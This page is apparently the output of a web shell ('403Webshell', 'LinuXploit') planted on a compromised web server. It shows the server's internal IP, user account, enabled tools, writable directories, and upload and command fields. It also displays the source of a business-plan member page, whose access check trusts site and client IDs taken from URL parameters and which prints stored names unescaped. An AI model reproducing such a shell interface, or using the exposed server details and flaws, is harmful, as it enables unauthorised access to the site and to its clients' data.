403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/coaching_sites/usbusinessfundingsolutions.com/member/business_plan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/coaching_sites/usbusinessfundingsolutions.com/member/business_plan/index.php
<?php
	ini_set('session.gc_maxlifetime', 3600);
	session_set_cookie_params(3600);
	session_start();
	require_once($_SERVER['DOCUMENT_ROOT'].'/inc/dbconfig.php');
	$db = db_connect('business_plan');
	
	/*$_GET['sc'] = (isset($_GET['sc'])) ? $_GET['sc'] : 'synment';
	$_GET['ci'] = (isset($_GET['ci'])) ? $_GET['ci'] : '24615';
	$_GET['cv'] = (isset($_GET['cv'])) ? $_GET['cv'] : 0;*/
	
	if(!empty($_GET['sc']) && !empty($_GET['ci'])) {
		$_SESSION['site_code'] = $_GET['sc'];
		$_SESSION['client_id'] = $_GET['ci'];
	}
	if(isset($_GET['cv'])) {
		$_SESSION['client_version'] = $_GET['cv'];
	}
	if(isset($_GET['research_coach'])) {
		$_SESSION['research_coach'] = $_GET['research_coach'];
	}
	$table = ($_SESSION['client_version']) ? 'synment_bp_plans' : 'bp_plans';
	$plans = $db->get_results("SELECT * FROM {$table} WHERE site_code='".$db->clean($_SESSION['site_code'])."' AND client_id='".$db->clean($_SESSION['client_id'])."' ORDER BY date_created DESC LIMIT 1");
	if(empty($plans)) {
		die("You don't have access to be here.");
	} else {
		$_SESSION['business_name'] = $plans[0]->business_name;
		$_SESSION['bp_plans_id'] = $plans[0]->id;
		$_SESSION['autosave'] = 1;
		$_SESSION['coach_bp_plans_id'] = ($_SESSION['client_version']) ? $plans[0]->coach_bp_plans_id : $plans[0]->id;
		header("Location: sections/instructions.php");
		die();
	}
	die();
	/*
	
	if(!empty($_POST)) {
		switch($_POST['submit']) {
			case 'Create New':
				if(!empty($_POST['business_name'])) {
					$db->query("INSERT INTO bp_plans (site_code,client_id,business_name,date_created)
							VALUES (
								'".$db->clean($_SESSION['site_code'])."',
								'".$db->clean($_SESSION['client_id'])."',
								'".$db->clean($_POST['business_name'])."',
								'".date("Y-m-d H:i:s")."'
							)");
				}
				break;
			case 'Open':
				$_SESSION['business_name'] = $_POST['business_name'];
				$_SESSION['bp_plans_id'] = $_POST['bp_plans_id'];
				header("Location: sections/instructions.php");
				die();
				break;
			case 'Delete':
				$db->query("DELETE FROM bp_plans WHERE id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_change_log WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_competition WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_expense_table WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_financial_table WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_milestones WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_plan_templates WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				$db->query("DELETE FROM bp_step_log WHERE bp_plans_id='".$db->clean($_POST['bp_plans_id'])."'");
				break;
		}
	}
	if(empty($_SESSION['site_code']) || empty($_SESSION['client_id'])) {
		die("Your session expired.");
	} else {
		$plans = $db->get_results("SELECT * FROM bp_plans WHERE site_code='".$db->clean($_SESSION['site_code'])."' AND client_id='".$db->clean($_SESSION['client_id'])."' ORDER BY date_created DESC");
	}
?>
<!DOCTYPE html>
<html>
	<head>
	<title>Business Plan Home</title>
	</head>
	<body>
		<h1>My Business Plans:</h1>
		<table border="1">
			<tr>
				<th>Business Name</th>
				<th>Date Created</th>
				<th>Action</th>
			</tr>
			<?php foreach($plans as $p) { ?>
			<tr>
				<td><?= $p->business_name;?></td>
				<td><?= date("m/d/Y H:i:s",strtotime($p->date_created));?></td>
				<td><form method="post" action="index.php" style="display:inline-block;"><input type="hidden" name="bp_plans_id" value="<?= $p->id;?>" /><input type="hidden" name="business_name" value="<?= $p->business_name;?>" /><input type="submit" name="submit" value="Open" /></form><form method="post" action="index.php" onsubmit="return confirm('Are you sure you want to delete this Business Plan? This process is irreversable.');" style="display:inline-block;"><input type="hidden" name="bp_plans_id" value="<?= $p->id;?>" /><input type="submit" name="submit" value="Delete" /></form></td>
			</tr>
			<?php } ?>
			<tr>
				<td colspan="3">&nbsp;</td>
			</tr>
			<tr>
				<td colspan="3"><form method="post" action="index.php" style="display:inline-block;"><label>Business Name<input type="text" name="business_name" /></label><input type="submit" name="submit" value="Create New" /></form></td>
			</tr>
		</table>
	</body>
</html>
*/?>

Youez - 2016 - github.com/yon3zu
LinuXploit